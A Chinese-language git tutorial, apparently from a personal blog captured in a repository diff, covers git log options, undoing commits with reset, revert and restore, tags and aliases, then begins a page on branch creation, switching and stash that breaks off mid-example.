+| |     Merge pull request #9 from Axchgit/patch-1
+| |
+| |     Update 60.slice.md
+| |
+| * commit 4f5d32c1a04884712d9edcbae1729c3542d63aaa
+|/  Author: Axchgit <48643885+Axchgit@users.noreply.github.com>
+|   Date:   Sat Sep 2 17:08:59 2023 +0800
+|
+|       Update 60.slice.md
+|
+* commit d8cc259bccefae542af581ad329b963ec553238d
+| Author: 246859 <2633565580@qq.com>
+| Date:   Tue Aug 29 21:58:21 2023 +0800
+|
+|     feat(basic): 更新go1.21的一些内置函数
+|
+* commit 17500e16a4d1fa784ae9715e8a8c43973c494580
+| Author: 246859 <2633565580@qq.com>
+| Date:   Tue Aug 29 21:29:32 2023 +0800
+|
+|     feat(microservice): 更新微服务相关文章
+|
+

除此之外,通过添加--pretty参数还可以美化git log的输出,比如每一个提交只显示一行

$ git log --pretty=oneline -5
+7514cce18c477694193e61849162ad8750f873cb (HEAD -> master) update hello.txt
+e538986402fb6b787a1a5778439d8bd01f316be0 skip stage
+b4c2d7faf91cc2286813e7635bdad025166e08ed 3rd commit
+5ca7961d8757700652e66dec94faf9938192eccf hello
+eff484ad548c2fb78a821793898dbafa0ef8ddc9 initial commit
+

甚至支持自定义格式化,比如

$ git log --pretty=format:"%h %an <%ae> %ad %s"
+7514cce 246859 <2633565580@qq.com> Sun Sep 3 15:11:19 2023 +0800 update hello.txt
+e538986 246859 <2633565580@qq.com> Sat Sep 2 20:51:00 2023 +0800 skip stage
+b4c2d7f 246859 <2633565580@qq.com> Sat Sep 2 20:35:14 2023 +0800 3rd commit
+5ca7961 246859 <2633565580@qq.com> Sat Sep 2 16:54:09 2023 +0800 hello
+eff484a 246859 <2633565580@qq.com> Sat Sep 2 16:45:37 2023 +0800 initial commit
+

下面是一些常用的格式化选项。

选项说明
%H提交的完整哈希值
%h提交的简写哈希值
%T树的完整哈希值
%t树的简写哈希值
%P父提交的完整哈希值
%p父提交的简写哈希值
%an作者名字
%ae作者的电子邮件地址
%ad作者修订日期(可以用 --date=选项 来定制格式)
%ar作者修订日期,按多久以前的方式显示
%cn提交者的名字
%ce提交者的电子邮件地址
%cd提交日期
%cr提交日期(距今多长时间)
%s提交说明

还可以查看指定时间段的提交历史

$ git log --since="2023-09-01" --before="2023-10-01" -2
+commit 7514cce18c477694193e61849162ad8750f873cb (HEAD -> master)
+Author: 246859 <2633565580@qq.com>
+Date:   Sun Sep 3 15:11:19 2023 +0800
+
+    update hello.txt
+
+commit e538986402fb6b787a1a5778439d8bd01f316be0
+Author: 246859 <2633565580@qq.com>
+Date:   Sat Sep 2 20:51:00 2023 +0800
+
+    skip stage
+
+

下面是一些常用的输出限制参数

选项说明
-<n>仅显示最近的 n 条提交。
-glob=<pattern>显示模式匹配的提交
-tags[=<pattern>]显示匹配tag的提交
-skip=<n>跳过n次提交
-merges仅显示合并提交
-no-merges不显示合并提交
--since, --after仅显示指定时间之后的提交。
--until, --before仅显示指定时间之前的提交。
--author仅显示作者匹配指定字符串的提交。
--committer仅显示提交者匹配指定字符串的提交。
--grep仅显示提交说明中包含指定字符串的提交。
-S仅显示添加或删除内容匹配指定字符串的提交。

如果想要了解更多,可以使用git help log命令查看更多的细节。

检出提交

在查看完历史提交后,你可以获取一个具体的提交的sha1校验和,通过它配合git checkout命令,可以将当前工作区的状态变为指定提交的状态。例如

$ git log -2
+commit f5602b9057b6219ee65cac7e9af815f9c13339df (HEAD -> master, tag: v1.0.3, tag: v1.0.1, tag: v1.0.0)
+Author: 246859 <2633565580@qq.com>
+Date:   Mon Sep 4 11:13:11 2023 +0800
+
+    Revert "revert example"
+
+    This reverts commit 9d3a0a371740bc2e53fb2ca8bb26c813016ab870.
+
+    revert example
+
+commit 9d3a0a371740bc2e53fb2ca8bb26c813016ab870
+Author: 246859 <2633565580@qq.com>
+Date:   Mon Sep 4 11:12:18 2023 +0800
+
+    revert example
+   
+$ git checkout 9d3a0a371740bc2e53fb2ca8bb26c813016ab870
+Note: switching to '9d3a0a371740bc2e53fb2ca8bb26c813016ab870'.
+
+You are in 'detached HEAD' state. You can look around, make experimental
+changes and commit them, and you can discard any commits you make in this
+state without impacting any branches by switching back to a branch.
+
+If you want to create a new branch to retain commits you create, you may
+do so (now or later) by using -c with the switch command. Example:
+
+  git switch -c <new-branch-name>
+
+Or undo this operation with:
+
+  git switch -
+
+Turn off this advice by setting config variable advice.detachedHead to false
+
+HEAD is now at 9d3a0a3 revert example
+

此时工作区的文件内容已经变成了特定提交9d3a0a371740bc2e53fb2ca8bb26c813016ab870的状态,在与HEAD指针分离的情况下,所作的任何修改和提交都不会保存,除非新建一个分支。在已检出的情况下,使用如下命令来新建分支

$ git switch -c <branch-name>
+

也可以在一开始就新建分支

$ git checkout -b <branch-name> <sha1>
+

如果想要回到HEAD指针,使命如下命令即可

$ git switch -
+

删除文件

如果想要删除仓库中的一个文件,仅仅只是删除工作区的文件是不够的,比如新建一个bye.txt,将其添加到工作区后,再将其从工作区删除,此时执行git status会有如下输出

$ git status
+On branch master
+Changes to be committed:
+  (use "git restore --staged <file>..." to unstage)
+        new file:   bye.txt
+
+Changes not staged for commit:
+  (use "git add/rm <file>..." to update what will be committed)
+  (use "git restore <file>..." to discard changes in working directory)
+        deleted:    bye.txt
+

git知晓此变化,但是删除文件这一修改并没有添加到暂存区,下一次提交时,该文件依旧会被提交到仓库中。所以应该同时将其暂存区的文件删除,为此git提供了git rm命令来删除暂存区的文件。

$ git rm bye.txt
+rm 'bye.txt'
+$ git status
+On branch master
+nothing to commit, working tree clean
+

此时会发现git不再追踪此文件。需要注意的是git rm 在执行时也会删除工作区的文件,倘若仅仅只是想删除暂存区或者仓库中的文件,可以使用如下命令

$ git rm --cached bye.txt
+

如此一来,就不会对工作区的文件造成任何影响,将修改提交后,暂存区和仓库中的文件就会被删除,而工作区没有变化。

移动文件

当想要移动文件或重命名文件时,可以使用git mv命令来进行操作。例如将hello.txt,改为hello.md

$ git mv hello.txt hello.md
+$ git status
+On branch master
+Changes to be committed:
+  (use "git restore --staged <file>..." to unstage)
+        renamed:    hello.txt -> hello.md
+
+

git会感知到此变化,其实该操作等于执行了以下三个命令

$ mv hello.txt hello.md
+$ git rm hello.txt
+$ git add hello.md
+

就算逐条执行这三条命令,git依旧会感知到这是一次renamed操作,更多时候还是使用git mv会方便些。

简短输出

我们经常使用git status来查看本地仓库的状态,可以添加参数-s来获得更加简短的输出,git会以一种表格的方式来描述文件状态,例如

$ git status -s
+A  README.md
+A  hello.txt
+

上述简短输出中,左边的状态表述栏有两列,第一列表示暂存区的状态,第二列表示工作区的状态,右边则是对应的文件。A表示新追踪的文件被添加到暂存区,M表示文件被修改,D表示文件被删除,R表示文件被重命名,??表示文件未追踪,下面看一些例子。

A  hello.txt // 这是一个新追踪的文件,已经被添加到暂存区,且工作区没有任何新的变动
+AM hello.txt // 这是一个新追踪的文件且已被添加到暂存区,但是现在工作区有新的修改。
+ M hello.txt // 这是一个已被追踪的文件,工作区文件现在有了新的修改,但新修改没有被提交到暂存区
+M  hello.txt // 这是一个已被追踪的文件,工作区文件之前的修改已经被添加到暂存区,目前没有任何新的变动
+MM hello.txt // 这是一个已被追踪的文件,工作区文件之前的修改已经被添加到暂存区后,又有了新的修改
+ D hello.txt // 该文件在工作区中已被删除
+D  hello.txt // 该文件在暂存区中已被删除
+R  hello.txt // 该文件已被重命名,且修改被添加到暂存区
+?? hello.txt // 这是一个未被追踪的文件
+

当然除此之外可能还会有其他的组合,只需要知晓其意思即可。

撤销操作

在使用git的过程中,经常可能会出现一些操作失误,想要反悔的情况,git当然也给了我们反悔的机会,从不至于将仓库弄的一团糟,下面会介绍几个情况。不过需要注意的是,有些撤销操作是不可逆的。

修正提交

当你写完自己的代码后,信心满满的提交后,发现自己遗漏了几个文件,又或是提交信息中有错别字。发生这种情况时,只能是再提交一次,然后描述信息为:“遗漏了几个文件”或者是“修复了提交信息的错别字”,这样看着太别扭了,试想一下你的提交历史中都是这种东西,将会相当的丑陋。为此git commit命令提供了--amend参数,来允许你修正上一次提交。看下面的一个例子

# 第一次提交,发现搞忘了一个文件
+$ git commit -m "add new file"
+# 将其添加到暂存区
+$ git add newfile.txt
+# 然后修正上一次提交
+$ git commit --amend
+

第二个例子

# 把main.go错写成了mian.go
+$ git commit -m "update mian.go" 
+# 修正描述信息
+$ git commit --amend -m "update main.go" 
+

携带该参数后,git会将暂存区内的文件提交,如果说没有任何文件修改,git仅仅只会更新提交信息,修正后,提交历史中只会留下被修正的那个。

撤销提交

当你发现提交错文件了,想要撤销提交,可以使用git reset,需要注意的是git reset命令使用不当是相当危险的,因为它会丢弃指定提交后的所有修改。对于撤销级别,有三个参数可以使用

  • --soft:仅撤销仓库中的内容,不影响暂存区和工作区,指定撤销节点的所有修改都会回到暂存区中。
  • --mixed:默认,撤销仓库和暂存区中的修改,但是不影响工作区。
  • --hard:使用该参数相当的危险,因为它同时会撤销工作区的代码,携带该参数执行后,会清空暂存区,并将工作区都恢复成指定撤销提交之前的状态。

如果想要撤销多次提交,可以使用git reset HEAD^n,HEAD是一个指针,它永远指向当前分支的最新提交,HEAD^n即表示前n个提交。倘若想要撤销一个指定的提交,可以将该提交的sha1检验和作为参数使用来指定。比如下面这个命令:

$ git reset 10e5e5e7d6c7fbfa049ee6ecd0a1ee443ca1d70c
+

使用git reset --hard可以达到将代码回退到某一个版本的效果,不过此前工作区中的所有改动都会消失。下面会将用几个例子做演示,首先对仓库进行一次新的提交

$ echo "reset example" >> hello.txt
+$ git commit -a -m "reset example"
+[master c231e1f] reset example
+ 1 file changed, 1 insertion(+)
+$ git log -1
+commit c231e1f147b07b8ed0d3c3fe58eddba736a5eab5 (HEAD -> master)
+Author: 246859 <2633565580@qq.com>
+Date:   Mon Sep 4 10:06:18 2023 +0800
+
+    reset example
+

下面演示三个参数分别会造成什么影响,首先使用默认不带参数,可以看到此时回到了修改未暂存的状态。

$ git reset HEAD^
+$ git status
+On branch master
+Changes not staged for commit:
+  (use "git add <file>..." to update what will be committed)
+  (use "git restore <file>..." to discard changes in working directory)
+        modified:   hello.txt
+
+no changes added to commit (use "git add" and/or "git commit -a")
+

然后使用--soft参数,再次查看仓库状态,可以看到回到了暂存区修改未提交的状态

$ git reset --soft HEAD^
+$ git status
+On branch master
+Changes to be committed:
+  (use "git restore --staged <file>..." to unstage)
+        modified:   hello.txt
+

最后使用--hard参数,此时查看仓库状态会发现什么都不会提示,因为该操作直接将工作区重置到了该次提交时的状态。

$ git reset --hard HEAD^
+HEAD is now at 25cdeea a
+$ git status
+On branch master
+nothing to commit, working tree clean
+

在上面的操作中,可以看到有些操作是无法恢复且相当危险的,使用git reset撤销的提交,在提交历史中会消失,如果想要找回可以使用命令git reflog,不过这是有时效性的,时间久了git会删除。

$ git reflog show
+25cdeea (HEAD -> master) HEAD@{0}: reset: moving to HEAD^
+7a7d12b HEAD@{1}: commit: reset example
+25cdeea (HEAD -> master) HEAD@{2}: reset: moving to HEAD^
+4f8190f HEAD@{3}: commit: reset example
+25cdeea (HEAD -> master) HEAD@{4}: reset: moving to HEAD^
+c231e1f HEAD@{5}: commit: reset example
+25cdeea (HEAD -> master) HEAD@{6}: commit: a
+10e5e5e HEAD@{7}: reset: moving to HEAD^
+b34d4da HEAD@{8}: commit: commit1
+10e5e5e HEAD@{9}: commit: commit
+c7bdcd8 HEAD@{10}: commit (amend): update aaa.txt
+7514cce HEAD@{11}: commit: update hello.txt
+e538986 HEAD@{12}: commit: skip stage
+b4c2d7f HEAD@{13}: commit: 3rd commit
+5ca7961 HEAD@{14}: commit: hello
+eff484a HEAD@{15}: commit (initial): initial commit
+

在这里我们可以看到被撤销的提交,以及其他被reflog记录的操作,想要恢复这些提交使用git reset commit-id即可。

使用git reset是比较危险的,为此,git提供了一种更加安全的撤销方式git revert。它会抵消掉上一次提交导致的所有变化,且不会改变提交历史,而且会产生一个新的提交。同样的,先做一个新提交,在使用revert

$ echo "revert example" >> hello.txt
+$ git commit -a -m "revert example"
+[master 9d3a0a3] revert example
+ 1 file changed, 1 insertion(+)
+ $ git revert HEAD
+[master f5602b9] Revert "revert example"
+ 1 file changed, 1 deletion(-)
+
+$ cat hello.txt
+hello world
+track two file in repo
+123
+12
+123
+123
+update something
+update hello.txt
+123
+123
+$ git log -2
+commit f5602b9057b6219ee65cac7e9af815f9c13339df (HEAD -> master)
+Author: 246859 <2633565580@qq.com>
+Date:   Mon Sep 4 11:13:11 2023 +0800
+
+    Revert "revert example"
+
+    This reverts commit 9d3a0a371740bc2e53fb2ca8bb26c813016ab870.
+
+    revert example
+
+commit 9d3a0a371740bc2e53fb2ca8bb26c813016ab870
+Author: 246859 <2633565580@qq.com>
+Date:   Mon Sep 4 11:12:18 2023 +0800
+
+    revert example
+$ git status
+On branch master
+nothing to commit, working tree clean
+

可以看到,在revert后,原本提交修改的内容消失了,提交历史中之前的提交仍然存在,并且还多了一个新提交。实际上git是将工作区和暂存区的内容恢复到了指定提交之前,并且自动add和commit,如果不想自动提交可以加上-n参数,此时查看仓库状态就会有提示

$ git status
+On branch master
+You are currently reverting commit f5602b9.
+  (all conflicts fixed: run "git revert --continue")
+  (use "git revert --skip" to skip this patch)
+  (use "git revert --abort" to cancel the revert operation)
+
+Changes to be committed:
+  (use "git restore --staged <file>..." to unstage)
+        modified:   hello.txt
+

git已经提示了你使用git revert --abort来删除此次revert操作,或者git revert --skip 来忽略修改。如果想要revert多个提交,则必须依次指定。例如

$ git revert [last one] [second to last]
+

撤销暂存

取消暂存有两种情况,一种是将新文件移出暂存区,一种是撤销添加到暂存区的修改。在先前的例子中,将新文件添加到暂存区后,查看仓库状态时,git会这样输出

$ git status
+On branch master
+
+No commits yet
+
+Changes to be committed:
+  (use "git rm --cached <file>..." to unstage)
+        new file:   README.md
+        new file:   hello.txt
+

其中有这么一句:(use "git rm --cached <file>..." to unstage),git已经告诉你了如何将这些文件取消暂存,对hello.txt执行

$ git rm --cached hello.txt
+

就可以将该文件移出暂存区。还有一种情况就是已经在暂存区的文件,将新的修改添加到暂存区过后,想要从暂存区撤回该修改,如下面的例子。

$ echo "123" >> hello.txt
+$ git status
+On branch master
+Changes not staged for commit:
+  (use "git add <file>..." to update what will be committed)
+  (use "git restore <file>..." to discard changes in working directory)
+        modified:   hello.txt
+
+no changes added to commit (use "git add" and/or "git commit -a")
+$ git add hello.txt
+$ git status
+On branch master
+Changes to be committed:
+  (use "git restore --staged <file>..." to unstage)
+        modified:   hello.txt
+

此时git已经提示了我们,使用git restore --staged来撤销暂存区的这一次修改。

$ git restore --staged hello.txt
+$ git status
+On branch master
+Changes not staged for commit:
+  (use "git add <file>..." to update what will be committed)
+  (use "git restore <file>..." to discard changes in working directory)
+        modified:   hello.txt
+
+no changes added to commit (use "git add" and/or "git commit -a")
+

撤销后,会发现又回到了修改未被暂存的状态了,除了使用git restore之外,还可以使用 git reset HEAD <file>来撤销暂存区的修改,后者将暂存区指定文件的状态恢复成仓库分支中的状态。需要注意的是,这些命令都是对暂存区进行操作,不会影响到仓库和工作区。

撤销修改

前面讲的都是对提交和暂存的撤销操作,当想要撤销工作区文件的修改时,将其还原成上一次提交或某一次提交的状态,在上面撤销暂存的例子中,git已经告诉我们了。

$ git status
+On branch master
+Changes not staged for commit:
+  (use "git add <file>..." to update what will be committed)
+  (use "git restore <file>..." to discard changes in working directory)
+        modified:   hello.txt
+
+no changes added to commit (use "git add" and/or "git commit -a")
+

有这么一句:(use "git restore <file>..." to discard changes in working directory),告诉我们,使用git restore <file>来丢弃工作区指定文件的修改。

$ git restore hello.txt
+$ git status
+On branch master
+nothing to commit, working tree clean
+

执行后会发现,文件回到了修改之前,git也不再提示文件有未暂存的修改 ,使用命令git checkout -- hello.txt具有同样的效果。需要注意的是,当你对工作区修改撤销后,是无法恢复的,你最好明白你在做什么。

注意

在git中,只要是提交到了仓库中的修改,绝大多数情况都是可以恢复的,甚至被删除的分支和使用--amend覆盖的提交也可以恢复。但是,任何未提交的修改,丢弃以后就可能再也找不到了。

标签操作

在git中,你可以为某一个提交标注一个标签,表示这是一个阶段性变化,比如一个新的发行版,等等。通过命令git tag -l来查看一个仓库中的所有tag

$ git tag -l
+

同时它也支持模式匹配,比如

$ git tag -l "v1.*"
+

这行命令表示只查看主版本为1的tag。在git中,标签分为两种类型,轻量标签(lightweight)和附注标签(annotated),这两种类型还是有很大差别的,轻量标签只是一个特定提交的引用,而附注标签是存储在git中的一个完整对象,包含了许多有用的信息。

提示

人们对软件版本号的定义方式各有千秋,一个主流的方式是使用语义化版本号,前往语义化版本 2.0.0 | Semantic Versioning (semver.org)open in new window查看。

轻量标签

创建轻量标签只需要提供标签名即可,如下

$ git tag v1.0.0
+

在创建过后,使用git show <tagname>来查看该tag的信息

$ git show v1.0.0
+commit f5602b9057b6219ee65cac7e9af815f9c13339df (HEAD -> master, tag: v1.0.0)
+Author: 246859 <2633565580@qq.com>
+Date:   Mon Sep 4 11:13:11 2023 +0800
+
+    Revert "revert example"
+
+    This reverts commit 9d3a0a371740bc2e53fb2ca8bb26c813016ab870.
+
+    revert example
+
+diff --git a/hello.txt b/hello.txt
+index 1ab193a..a28df9c 100644
+--- a/hello.txt
++++ b/hello.txt
+@@ -8,4 +8,3 @@ update something
+ update hello.txt
+ 123
+ 123
+-revert example
+

可以看到轻量标签显示的是commit的信息,之所以叫轻量是因为它仅仅是对提交的引用,当你仅仅只是临时需要一个tag,不想要其他的信息就可以使用轻量标签。

附注标签

创建附注标签需要用到两个额外的参数,-a参数表示创建一个annotated tags,它接收一个tag名,-m参数表示对tag的描述信息。如下

$ git tag -a v1.0.1 -m "this is a annotated tag"
+

创建后,对该tag执行git show

$ git show v1.0.1
+tag v1.0.1
+Tagger: 246859 <2633565580@qq.com>
+Date:   Thu Sep 7 14:15:28 2023 +0800
+
+this is a annotated tag
+
+commit f5602b9057b6219ee65cac7e9af815f9c13339df (HEAD -> master, tag: v1.0.1, tag: v1.0.0)
+Author: 246859 <2633565580@qq.com>
+Date:   Mon Sep 4 11:13:11 2023 +0800
+
+    Revert "revert example"
+
+    This reverts commit 9d3a0a371740bc2e53fb2ca8bb26c813016ab870.
+
+    revert example
+
+diff --git a/hello.txt b/hello.txt
+index 1ab193a..a28df9c 100644
+--- a/hello.txt
++++ b/hello.txt
+@@ -8,4 +8,3 @@ update something
+ update hello.txt
+ 123
+ 123
+-revert example
+

会发现除了展示commit的信息之外,还会展示标记标签的人,日期,信息等。

指定提交

git tag命令在创建标签时,默认是为HEAD指针,也就是最新的提交创建tag,当然也可以是一个特定的提交。只需要将该提交的sha1校验和作为参数即可。如下

$ git tag -a v1.0.2 -m "specified commit tag" eff484ad548c2fb78a821793898dbafa0ef8ddc9
+

创建完后,查看tag信息

$ git show v1.0.2
+tag v1.0.2
+Tagger: 246859 <2633565580@qq.com>
+Date:   Thu Sep 7 14:23:57 2023 +0800
+
+specified commit tag
+
+commit eff484ad548c2fb78a821793898dbafa0ef8ddc9 (tag: v1.0.2)
+Author: 246859 <2633565580@qq.com>
+Date:   Sat Sep 2 16:45:37 2023 +0800
+
+    initial commit
+
+diff --git a/README.md b/README.md
+new file mode 100644
+index 0000000..933885d
+--- /dev/null
++++ b/README.md
+@@ -0,0 +1 @@
++#Hi there
+diff --git a/hello.txt b/hello.txt
+new file mode 100644
+index 0000000..ddfb619
+--- /dev/null
++++ b/hello.txt
+@@ -0,0 +1,2 @@
++hello world
++track two file in repo
+

这样,就可以为一个指定的提交创建tag了。

删除标签

在本地仓库删除一个tag,可以使用命令git tag -d <tagname>,比如

$ git tag -d v1.0.2
+Deleted tag 'v1.0.2' (was 13948de)
+

删除后,再查看tag就会发现没有了

$ git tag -l
+v1.0.0
+v1.0.1
+

不过需要注意的是,这仅仅只是在本地仓库删除标签,如果有远程仓库的话,需要单独删除,可以使用如下命令

$ git push origin --delete <tagname>
+

推送标签

当你的本地仓库关联了一个远程仓库后,如果你本地创建了tag,再将代码推送到远程仓库上,远程仓库是不会创建tag的。如果你想要推送某一个指定的标签可以使用如下命令

$ git push <remote> <tagname>
+

例如

$ git push origin v1.0.3
+Enumerating objects: 1, done.
+Counting objects: 100% (1/1), done.
+Writing objects: 100% (1/1), 151 bytes | 151.00 KiB/s, done.
+Total 1 (delta 0), reused 0 (delta 0), pack-reused 0
+To https://github.com/246859/git-example.git
+ * [new tag]         v1.0.3 -> v1.0.3
+

如果你想要推送所有标签,直接加上--tags参数即可。

$ git push origin --tags
+Enumerating objects: 27, done.
+Counting objects: 100% (27/27), done.
+Delta compression using up to 16 threads
+Compressing objects: 100% (23/23), done.
+Writing objects: 100% (27/27), 2.32 KiB | 790.00 KiB/s, done.
+Total 27 (delta 5), reused 0 (delta 0), pack-reused 0
+remote: Resolving deltas: 100% (5/5), done.
+To https://github.com/246859/git-example.git
+ * [new tag]         v1.0.0 -> v1.0.0
+ * [new tag]         v1.0.1 -> v1.0.1
+

这样一来,远程仓库上的tag就与本地仓库同步了。

检出标签

使用命令git checkout <tagname>,就可以将工作区的内容变为该标签所提交时的状态,如

$ git checkout v1.0.3
+Note: switching to 'v1.0.3'.
+
+You are in 'detached HEAD' state. You can look around, make experimental
+changes and commit them, and you can discard any commits you make in this
+state without impacting any branches by switching back to a branch.
+
+If you want to create a new branch to retain commits you create, you may
+do so (now or later) by using -c with the switch command. Example:
+
+  git switch -c <new-branch-name>
+
+Or undo this operation with:
+
+  git switch -
+
+Turn off this advice by setting config variable advice.detachedHead to false
+
+HEAD is now at f5602b9 Revert "revert example"
+

git提醒你,现在处于与HEAD指针分离的状态,现在你做的任何的修改和提交都不会对仓库造成任何影响。如果你想要保存这些修改,可以创建一个新的分支

git switch -c <branch-name>
+

或者你也可以在一开始就创建一个新的分支

$ git checkout -b <brancn-name> <tagname>
+

而后面如果你想要希望将这些修改同步到仓库中,这就涉及到后面分支这一文要讲的内容了。如果你想要回到头指针,执行如下命令即可。

$ git switch -
+

命令别名

对于你经常使用的命令,如果觉得每次都要输入完整的命令而感到厌烦,命令别名可以帮到你。例子如下

$ git config --global alias.ci commit
+$ git config --global alias.st status
+

上述命令分别为commitstatus命令创建了别名,由于添加了--global参数,所以别名可以全局使用。执行别名试试

$ git st
+On branch master
+nothing to commit, working tree clean
+

还有三个参数要提一下,分别是

  • --add,表示添加别名
  • --replace-all,表示覆盖别名
  • --unset,表示删除别名

除此之外,也可以使用命令来清空所有别名

$ git config --global --remove-section alias
+

这个命令会直接将配置文件中的alias部分删掉。

配置文件

除了使用命令之外,也可以使用配置文件,也就是.gitconfig文件,windows一般是c:/$user/.gitconfig,linux一般是$HOME/.gitconfig。打开配置文件就可以看到如下内容

[alias]
+	st = status
+	ls = ls
+	env = echo
+	env = echo revert
+	env = !go env
+

外部命令

除了给git自身的命令加别名外,也可以是外部命令,在添加外部命令时,需要在命令前加上!来表示这是外部命令。格式为

$ git config --gloabl alias.<aliasname> <!externalcmd>
+

例如下面的命令,需要注意的是别名必须是单引号括起来。

$ git config --global alias.env '!go env'
+

执行别名试试,就可以看到go的环境变量。

$ git env
+set GO111MODULE=on
+set GOARCH=amd64
+...
+
上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/git/2.branch.html b/posts/code/git/2.branch.html new file mode 100644 index 0000000..c906ef5 --- /dev/null +++ b/posts/code/git/2.branch.html @@ -0,0 +1,550 @@ + + + + + + + + 分支 | 寒江蓑笠翁 + + + + + + +

分支

寒江蓑笠翁大约 48 分钟GitVCSGit

分支

如果说有什么特性能让git从其它vcs中脱颖而出,那唯一的答案就是git的分支管理,因为它很快,快到分支切换无感,即便是一个非常大的仓库。一般仓库都会有一个主分支用于存放核心代码,当你想要做出一些修改时,不必修改主分支,可以新建一个新分支,在新分支中提交然后将修改合并到主分支,这样的工作流程在大型项目中尤其适用。在git中每一次提交都会包含一个指针,它指向的是该次提交的内容快照,同时也会指向上一次提交。

git的分支,实际上正是指向提交对象的可变指针,如图所示。通过如下命令可以看到分支所指向提交的情况

$ git log --oneline --decorate
+f5602b9 (HEAD -> main, tag: v1.0.3, tag: v1.0.1, tag: v1.0.0, origin/main) Revert "revert example"
+9d3a0a3 revert example
+25cdeea a
+10e5e5e commit
+c7bdcd8 update aaa.txt
+e538986 skip stage
+b4c2d7f 3rd commit
+5ca7961 hello
+eff484a initial commit
+

创建切换

从图中和输出中我们可以看到,HEAD此时是指向main分支,于此同时,main分支与test分支都是指向的f5602b9这一提交,并且还有很多tag,除此之外,还可以看到origin/main这一远程分支。接下来创建一个新的分支试试,通过如下命令可以创建一个分支

$ git branch test
+

创建完成后,使用git checkout <branchname>来切换到指定分支

$ git switch test
+

如果想要创建的同时并切换切换成该分支可以使用-b参数,例如

$ git switch -c test
+

命令git checkout <branchname>也可以切换分支,使用git checkout -b <branchname>也能达到创建并切换的效果,事实上git switch使用的还是git checkout

提示

git switch命令相对git checkout命令比较新,同时也可能不那么稳定。

分支切换后,HEAD指针就会指向test分支,HEAD指针永远指向当前所在的分支,通过它就可以知道现在仓库的状态处于哪一个分支。接下来做一个提交来看看。

$ echo "branch test update it" >> hello.txt
+
+$ git commit -a -m "update hello.txt on test branch"
+[test 9105078] update hello.txt on test branch
+ 1 file changed, 1 insertion(+)
+ 
+$ git log --oneline --decorate
+9105078 (HEAD -> test) update hello.txt on test branch
+f5602b9 (tag: v1.0.3, tag: v1.0.1, tag: v1.0.0, origin/main, main) Revert "revert example"
+9d3a0a3 revert example
+25cdeea a
+10e5e5e commit
+c7bdcd8 update aaa.txt
+e538986 skip stage
+b4c2d7f 3rd commit
+5ca7961 hello
+eff484a initial commit
+
+

可以从输出中看到,test分支此时指向的是9105078这个提交,而main分支依旧是指向的原来的那个提交。当分支切换回去时,会发现HEAD再次指向了main分支。

$ git switch main
+Switched to branch 'main'
+Your branch is up to date with 'origin/main'.
+
+$ git log --oneline --decorate
+f5602b9 (HEAD -> main, tag: v1.0.3, tag: v1.0.1, tag: v1.0.0, origin/main) Revert "revert example"
+9d3a0a3 revert example
+25cdeea a
+10e5e5e commit
+c7bdcd8 update aaa.txt
+e538986 skip stage
+b4c2d7f 3rd commit
+5ca7961 hello
+eff484a initial commit
+
+

这时再做出一些修改并提交,可以看到HEAD和main分支都指向了最新的提交。

$ echo "update on branch main" >> hello.txt
+Stranger@LAPTOP-9VDMJGFL MINGW64 /d/WorkSpace/Code/example (main)
+$ git commit -a -m "update on main"
+[main d0872e5] update on main
+ 1 file changed, 1 insertion(+)
+$ git log --oneline --decorate
+d0872e5 (HEAD -> main) update on main
+f5602b9 (tag: v1.0.3, tag: v1.0.1, tag: v1.0.0, origin/main) Revert "revert example"
+9d3a0a3 revert example
+25cdeea a
+10e5e5e commit
+c7bdcd8 update aaa.txt
+e538986 skip stage
+b4c2d7f 3rd commit
+5ca7961 hello
+

再来查看提交日志,git很形象的表示了所有分支的状态。

$ git log --oneline --decorate --graph --all
+* d0872e5 (HEAD -> main) update on main
+| * 9105078 (test) update hello.txt on test branch
+|/
+* f5602b9 (tag: v1.0.3, tag: v1.0.1, tag: v1.0.0, origin/main) Revert "revert example"
+* 9d3a0a3 revert example
+* 25cdeea a
+* 10e5e5e commit
+* c7bdcd8 update aaa.txt
+* e538986 skip stage
+* b4c2d7f 3rd commit
+* 5ca7961 hello
+* eff484a initial commit
+

git的输出就如图所示,main与test两个分支最初都指向的同一个提交commit3,在随着有了新的提交后,它们都分别指向了各自不同的提交,当想要切换分支时,git就会将HEAD指针指向指定的分支,并将工作区恢复成该分支所指向提交的状态,在git中,分支的切换仅仅只是指针的移动,所以切换起来相当的迅速。正应如此,开发人员可以随心所欲的创建属于自己的分支来给仓库添加新的特性,这些变更在最后合并分支后都会出现在主分支中。

提示

刚刚提到的主分支,只是对开发人员的一个概念,git中没有什么特殊分支,起名为main仅仅只是将它看待成主分支,实际上它与test分支并没有什么不同,默认的master分支也只是git的一个默认名称而已。

在创建分支时,也可以不必从最新的提交创建,通过如下命令指定提交,就可以从指定的提交创建分支。

$ git branch <branche-name> [commit-id]
+
$ git log --oneline
+0658483 (HEAD -> main, feature_v2) another new feature
+28d8277 add new feature
+a35c102 clear hello.txt
+0224b74 (test, op) initial commit
+$ git branch jkl a35c102
+$ git log --oneline
+0658483 (HEAD -> main, feature_v2) another new feature
+28d8277 add new feature
+a35c102 (jkl) clear hello.txt
+0224b74 (test, op) initial commit
+

从输出中可以看到,jkl分支指向的是a35c102这一提交。

临时修改

在分支切换时,git会将工作区切换到该分支所指向提交的状态,并且暂存区会被清空,这就意味着,如果在切换分支时有未提交的修改,那么这些修改将会丢失。不过git显然不允许这样的情况发生,它会这样提示你。

$ git switch test
+error: Your local changes to the following files would be overwritten by checkout:
+        hello.txt
+Please commit your changes or stash them before you switch branches.
+Aborting
+

注意

如果你非要这么做,可以加上--discard-changes参数来丢弃修改或者--merge合并修改。

在进行危险操作时git总会提醒你不要这么做,从输出中可以得知,当本地有未提交的修改时,git不允许切换分支,要么把修改提交了,要么就使用一个名为git stash。它可以将本地未提交的修改临时保存起来,待将分支切换回来以后,还可以将这些修改复原,回到之前的状态,以便继续这个分支的开发工作。示例如下

$ echo "123" >> hello.txt
+$ git add hello.txt
+$ git switch test
+error: Your local changes to the following files would be overwritten by checkout:
+        hello.txt
+Please commit your changes or stash them before you switch branches.
+Aborting
+$ git stash
+Saved working directory and index state WIP on main: d0872e5 update on main
+$ git switch test
+Switched to branch 'test'
+

这里先做了一些修改,将修改添加到了暂存区但未提交,只要是被追踪的文件发生变化,这里不添加到暂存区一样会被阻止,如果不添加到暂存区,git在stash时会自动添加将修改添加到暂存区。可以看到在切换分支时被git阻止了,于是使用git stash命令将这些修改临时存放后成功切换到了test分支。然后再切换回来,使用git stash pop来恢复最近一个临时保存的修改。

$ git switch main
